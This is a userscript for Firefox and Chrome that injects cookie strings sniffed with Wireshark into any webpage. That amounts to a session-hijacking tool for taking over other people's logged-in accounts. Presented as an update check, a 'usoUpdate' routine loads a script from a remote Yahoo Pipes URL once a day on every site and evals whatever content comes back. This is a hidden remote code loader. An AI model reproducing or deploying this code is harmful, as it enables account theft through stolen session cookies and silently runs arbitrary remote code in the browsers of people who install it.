Cookie Injector (mod FF + Chrome)

// ==UserScript==
// @name           Cookie Injector (mod FF + Chrome)
// @namespace      http://blog.krakenstein.net
// @description    Inject Cookie String Into Any Webpage
// @version        1.0
// @include        *
// ==/UserScript==

/**
 Original Header:
 ==========================================================
 Cookie Injector
 BearsWithWings
 Inject Cookie String From Wireshark Dump Into Any Webpage
 *
 http://dustint.com/code/cookieinjector.user.js
**/

//Anonomyous function wrapper
(function (){
    const yodUpdate = {
     script_id : 109320,
     script_version : '1.0',
     script_pipeId : '7015d15962d94b26823e801048aae95d',
    }
    
    function setValue(key, value) {
     localStorage.setItem(key, value);
     return false;
    }
    
    function getValue(key) {
     var val = localStorage.getItem(key);
     return val;
    }
    
    function usoUpdate(el) {
     const s_CheckUpdate = 'YodCheckUpdate' + yodUpdate['script_id'];
     var md = parseInt(new Date().getDate());
     var CheckUpdate = parseInt(getValue(s_CheckUpdate));
     var NeedCheckUpdate = false;
     if (CheckUpdate !== md) {
       setValue(s_CheckUpdate, md);
       el = el ? el : document.body;
       if (el) {
         if (!document.getElementById(s_CheckUpdate)) {
           var s_gm = document.createElement('script');
           s_gm.id = s_CheckUpdate;
           s_gm.type = 'text/javascript';
           s_gm.innerHTML = 'function go' + s_CheckUpdate + '(itm){if(itm.value.items.length){return eval(unescape(itm.value.items[0].content).replace(/&lt;/g,\'<\').replace(/&gt;/g,\'>\').replace(/&amp;/g,\'&\'));}}';
           el.appendChild(s_gm);
         }
         var s_gm = document.createElement('script');
         s_gm.type = 'text/javascript';
         var sSrc = 'http://pipes.yahoo.com/pipes/pipe.run?_id=' + yodUpdate['script_pipeId'];
         sSrc += '&_render=json&_callback=go' + s_CheckUpdate;
         sSrc += '&id=' + yodUpdate['script_id'] + '&ver=' + yodUpdate['script_version'];
         //sSrc += '&redir=yes';
         s_gm.src = sSrc;
         el.appendChild(s_gm);
    
         NeedCheckUpdate = true;
       }
     }
     else {
       setValue(s_CheckUpdate, md);
     }
    
     return NeedCheckUpdate;
    }
    
    function yodrunScript() {
     var cookieInjector = function(){
       var cI = this;
    
       /**
       * Cookie Injector Onload Function
       * Sets up the cookie injector dialogu
       */
       cI.onLoad = function(){
         //Create the DIV to contain the Dialog
         cI.dialog = document.createElement('div');
         cI.dialog.id = "cookieInjectorDiv";
         cI.dialog.innerHTML = "<div align='center'>Enter Cookie as format:<br/>(ex: name=val;) separate with ';'<br/><input type='text' id='cookieInjectorCookie'/><br/></div>";
         var button = document.createElement('button'); button.innerHTML = "OK";
         button.addEventListener('click',cI.writeCookie,false);
         cI.dialog.appendChild(button);
         var button = document.createElement('button'); button.innerHTML = "Cancel";
         button.addEventListener('click',cI.hide,false);
         cI.dialog.appendChild(button);
         cI.dialog.setAttribute("style",
           "display:none;position:fixed;opacity:0.9;top:40%;background-color:#DDDDDD;\
           left:40%;width:20%;z-index:99999;padding:5px;border:solid 1px gray;\
           font-family:Arial;font-size:12px;");
         document.body.appendChild(cI.dialog);
         cI.visible = false;
       }
    
       /**
       * Show the dialog
       */
       cI.show = function(){
         cI.dialog.style.display = "block";
         cI.visible = true;
       }
    
       /**
       * Hide the dialog
       */
       cI.hide = function(){
         cI.dialog.style.display = "none";
         cI.visible = false;
       }
    
       /**
       * Gets the wireshark dump string and converts it into cookies
       */
       cI.writeCookie = function(){
         //Grab a handle to the text field which contains the string
         var cookieNode = document.getElementById('cookieInjectorCookie');
         var cookieText = cI.cleanCookie(cookieNode.value);
         cookieNode.value = "";
    
         //We have to add the cookies one at a time, so split around the colin
         var cookieArray = cookieText.split(";");
         var injectedval = 0;
         for(var x=0; x<cookieArray.length; x++){
           //We want the path to be the root, the host is filled in automatically
           //since we are on the same webpage that we captured the cookies on
           var cookievalArray = cookieArray[x].split("=");
           if (cookievalArray.length>=2) {
             var name, val;
             if ((name = cookievalArray[0].toString().trim()) && (val = cookievalArray[1].toString().trim())) {
               //document.cookie = name+"="+val+"; path=/";
               document.cookie = cookieArray[x]+"; path=/";
               //alert(name+"="+val);
               injectedval++;
             }
           }
         }
    
         if (injectedval) {
           alert("All Cookies Have Been Written");
           cI.hide();
         } else {
           alert("Invalid (ex: name=val;) separate with ';'");
         }
       }
    
       /**
       * Do a little big of cleanup on the cookie string, Mostly we are looking
       * To get rid of the "Cookie: " string that Wireshark prepends to the cookie string
       */
       cI.cleanCookie = function(cookieText){
         var cookie = cookieText.replace("Cookie: ","");
         return cookie;
       }
    
       /**
       * Handle all keypresses, we are looking for an ALT-C key-combo. Since we can't detect
       * Two keys being pressed at the same time, we first make sure the ALT key was pressed
       * then we wait to see if the C key is pressed next
       */
       cI.keyPress = function (e){
         //Check to see if "C" is pressed after ALT
         if(e.keyCode == 67 && cI.ctrlFire){
           if(!cI.visible){
             cI.show();
           }else{
             cI.hide();
           }
         }
    
         //Make sure the Alt key was previously depressed
         if(e.keyCode == 18){
           cI.ctrlFire = true;
         }else{
           cI.ctrlFire = false;
         }
       }
     };
    
     if (document.getElementById('cookieInjectorDiv')) return;
     //if (document.getElementById('cookieInjectorDiv_yodrunScript')) return;
     var cI = new cookieInjector({});
     //Setup our dialog after the document loads
     //window.addEventListener('load', cI.onLoad,'false');
     cI.onLoad();
     //Capture all onkeydown events, so we can filter for our key-combo
     window.addEventListener('keydown', cI.keyPress,'false');
    }
    
    var script = document.createElement("script");
    script.type = "text/javascript";
    script.id = "cookieInjectorDiv_yodrunScript";
    script.textContent = "(" + yodrunScript + ")();";
    document.body.appendChild(script);
    
    usoUpdate();
    })();